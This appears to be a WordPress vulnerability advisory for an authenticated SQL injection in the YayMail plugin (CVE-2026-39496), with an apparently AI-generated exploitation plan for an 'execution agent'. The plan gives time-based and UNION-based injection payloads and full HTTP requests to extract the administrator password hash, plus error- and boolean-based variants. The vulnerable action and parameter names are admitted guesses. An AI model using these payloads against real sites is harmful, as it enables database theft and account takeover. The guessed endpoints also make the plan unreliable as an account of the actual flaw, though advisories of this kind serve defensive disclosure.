YayMail <= 4.3.3 - Authenticated (Shop manager+) SQL Injection
Description
The YayMail plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.3.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.3.4
Source Code
WordPress.org SVNThis research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in the **YayMail – WooCommerce Email Customizer** plugin (CVE-2026-39496). ## 1. Vulnerability Summary The YayMail plugin (versions <= 4.3.3) fails to properly sanitize or prepare user-supplied …
Show full research plan
This research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in the YayMail – WooCommerce Email Customizer plugin (CVE-2026-39496).
1. Vulnerability Summary
The YayMail plugin (versions <= 4.3.3) fails to properly sanitize or prepare user-supplied parameters before incorporating them into SQL queries. This allows an authenticated attacker with Shop Manager (or higher) privileges to inject arbitrary SQL commands. This is particularly critical as Shop Managers are intended to manage WooCommerce settings but should not have direct database access.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action: Likely
yaymail_get_template,yaymail_get_history, oryaymail_save_template(inferred from typical YayMail functionality). - Vulnerable Parameter: Likely a
template_id,id, ortypeparameter (inferred). - Authentication: Required (Shop Manager+).
- Preconditions: The plugin must be active, and at least one WooCommerce email template must exist or be accessible for editing.
3. Code Flow
- Entry Point: The Shop Manager triggers an AJAX request via the YayMail customizer interface.
- Hook Registration: The plugin registers a handler via
add_action( 'wp_ajax_yaymail_...' ). - Data Retrieval: The handler retrieves user input from
$_POSTor$_GET. - Vulnerable Sink: The input is concatenated into a string and passed to
$wpdb->get_results(),$wpdb->get_row(), or$wpdb->query()without the use of$wpdb->prepare().
4. Nonce Acquisition Strategy
YayMail utilizes nonces for its AJAX operations. Since we have Shop Manager access, we must extract the nonce from the YayMail admin dashboard.
- Access Page: Navigate to the YayMail settings page:
/wp-admin/admin.php?page=yaymail-settings. - Identify Variable: Look for the localized script variable (likely
yaymail_settings,yaymail_params, orYayMailData). - Execution Agent Steps:
- Login as Shop Manager.
- Navigate to the YayMail settings page.
- Run
browser_eval("window.yaymail_settings?.nonce")(inferred name) or inspect the page source forwp_create_nonce.
5. Discovery Phase (Mandatory)
Since the specific vulnerable function was not provided in the source snippet, the agent must first identify the sink:
- Search for Queries:
grep -rP '\$wpdb->(get_results|get_row|query|get_var)\s*\([^;]*\$(POST|GET|REQUEST)' wp-content/plugins/yaymail/ - Identify the AJAX Action:
Identify theadd_actioncall associated with the vulnerable function found in step 1.
6. Exploitation Strategy
Assuming the vulnerable action is yaymail_get_template and the parameter is template_id:
Step 1: Verification (Time-Based)
Send a request to confirm the injection point exists.
- Payload:
template_id=1 AND SLEEP(5) - Request:
{
"method": "POST",
"url": "/wp-admin/admin-ajax.php",
"headers": { "Content-Type": "application/x-www-form-urlencoded" },
"body": "action=yaymail_get_template&template_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=NONCE_HERE"
}
Step 2: Extraction (UNION-Based)
Extract the administrator's password hash from the wp_users table.
- Find Column Count: Inject
ORDER BY 1, 2, ... nuntil an error occurs. - Extract Hash:
- Payload (assuming 5 columns):
1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- - - Request:
{
"method": "POST",
"url": "/wp-admin/admin-ajax.php",
"headers": { "Content-Type": "application/x-www-form-urlencoded" },
"body": "action=yaymail_get_template&template_id=-1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -&nonce=NONCE_HERE"
}
7. Test Data Setup
- User Creation: Create a user with the
shop_managerrole.wp user create attacker attacker@example.com --role=shop_manager --user_pass=password123 - Plugin Setup: Ensure YayMail and WooCommerce are installed and active.
- Content: Create at least one template in YayMail to ensure the underlying queries return rows if valid IDs are provided.
8. Expected Results
- Success: The HTTP response contains the administrator's
$P$or$wp$hash in the field where a template name or property was expected. - Blind: If UNION is not possible, the response time is significantly delayed (>= 5 seconds) when the
SLEEPpayload is sent.
9. Verification Steps
- Retrieve Hash via CLI:
wp db query "SELECT user_pass FROM wp_users WHERE ID=1" - Compare: Verify that the hash obtained via the SQL injection match the hash retrieved via WP-CLI.
10. Alternative Approaches
- Error-Based: If
WP_DEBUGis enabled, useupdatexml()orextractvalue()to force the database to leak the hash in an error message. - Boolean-Based: If output is suppressed, use
AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_pass LIKE '$P$%')and check for the presence of a success/fail message in the JSON response. - Vulnerable Parameters (Backup): Check the following actions if
yaymail_get_templateis not the sink:yaymail_duplicate_templateyaymail_delete_templateyaymail_get_historyyaymail_export_template
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.